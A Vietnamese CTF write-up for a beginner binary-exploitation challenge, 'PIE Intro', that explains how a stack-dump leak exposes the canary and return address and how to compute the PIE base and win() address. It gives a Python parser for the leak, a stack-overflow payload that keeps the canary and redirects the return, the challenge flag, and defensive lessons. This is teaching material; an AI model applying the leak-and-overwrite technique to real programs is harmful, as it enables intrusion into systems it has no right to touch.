Binary Exploitation
Medium
200 points
PIE Intro
Recuite 2025 - HCMUS
6 tháng 10, 2025
PIE
ASLR
Information Leak
Base Calculation

Binary Exploitation
PIE Intro - Writeup#
Thông tin Challenge#
- Thể loại: Pwn
- Độ khó: Beginner
- Protections: Full (PIE, NX, Canary, RELRO, SHSTK, IBT)
Phân tích#
PIE (Position Independent Executable)#
Tất cả địa chỉ được phân ngẫu nhiên (ASLR) nhưng các offset tương đối vẫn cố định — tức khoảng cách (offset) giữa các hàm/điểm trong file nhị phân không thay đổi.
Stack Dump Tiết lộ#
Stack dump cho thấy:
- Nội dung buffer
- Canary tại offset
0x18 - Saved RBP
- Return address tại offset
0x28← Đây là chìa khóa!
Bố cục stack#
[rbp-0x20] buffer[0:24] ← scanf ghi dữ liệu vào đây
[rbp-0x08] canary ← phải giữ nguyên!
[rbp+0x00] saved rbp
[rbp+0x08] return address ← bị rò rỉ! Trỏ tới main+0x12
Địa chỉ return bị rò rỉ#
Địa chỉ return trỏ tới instruction ngay sau call vuln trong main():
asm13e1 <main>: 13ee: call 0x134f <vuln> 13f3: mov eax, 0x0 ← địa chỉ return trỏ tới đây!
Kỹ thuật vượt PIE#
Ý tưởng: lấy địa chỉ bị rò rỉ, trừ đi offset biết trước để tính base của PIE, rồi cộng offset của hàm win để có địa chỉ thực tế của win.
pythonleaked_ret_addr = 0x6491c35643f3 # Lấy từ stack dump
ret_offset = 0x13f3 # Offset đã biết trong binary
pie_base = leaked_ret_addr - ret_offset
win_addr = pie_base + 0x1229 # Tính địa chỉ win()
Khai thác#
Cấu trúc payload#
pythonpayload = b"A" * 0x18 # Đổ đầy buffer
payload += p64(canary) # Giữ nguyên canary
payload += b"B" * 8 # Saved RBP (không quan trọng)
payload += p64(win_addr) # Return → win()
Phân tích stack dump (ví dụ)#
python# Lấy địa chỉ return tại offset 0x28
match = re.search(rb"\|0x28\s+\|0x[0-9a-f]+\|0x([0-9a-f]+)\|", dump)
ret_addr = int(match.group(1), 16)
# Lấy canary tại offset 0x18
match = re.search(rb"\|0x18\s+\|0x[0-9a-f]+\|0x([0-9a-f]+)\|", dump)
canary = int(match.group(1), 16)
Tính toán địa chỉ#
pythonRET_ADDR_OFFSET = exe.sym["main"] + 0x12 # = 0x13f3 (offset đã biết)
WIN_OFFSET = exe.sym["win"] # = 0x1229 (offset của win)
pie_base = leaked_ret_addr - RET_ADDR_OFFSET
win_addr = pie_base + WIN_OFFSET
Flag#
BPCTF{just_leak_the_base_23761d7e6937197aea0f362a955c7dbf}
Những điểm rút ra#
PIE là gì?#
PIE dịch nghĩa là thực thi độc lập vị trí — base của chương trình được load ngẫu nhiên mỗi lần (ASLR), nhưng:
- Các địa chỉ hàm thay đổi mỗi lần chạy
- Các offset tương đối giữa các hàm/biến trong nhị phân không thay đổi
Cách vượt PIE#
Để phá PIE:
- Rò rỉ một địa chỉ trong code (ví dụ return addr, pointer, GOT entry đã resolved...)
- Tính base PIE = leaked_addr - known_offset
- Tính địa chỉ mục tiêu = pie_base + target_offset
Defense in Depth#
- PIE một mình chưa đủ (nếu có leak địa chỉ code thì vẫn bị phá).
- Canary một mình chưa đủ nếu canary bị lộ.
- PIE + Canary vẫn có thể bị bypass nếu có leak thông tin.
- Bảo vệ thực sự: tránh rò rỉ thông tin nhạy cảm (stack dump, printf nội dung stack, v.v).
Bài học#
- PIE không ngăn exploitation nếu attacker có leak địa chỉ.
- Stack dumps (hoặc any info leak) cực kì nguy hiểm.
- ASLR/PIE chỉ random base — offsets cố định cho phép tính toán lại địa chỉ sau khi leak.
- Một lỗi rò rỉ đơn lẻ có thể làm sụp đổ nhiều lớp bảo vệ.
200
Points
Medium
Difficulty
Binary Exploitation
Category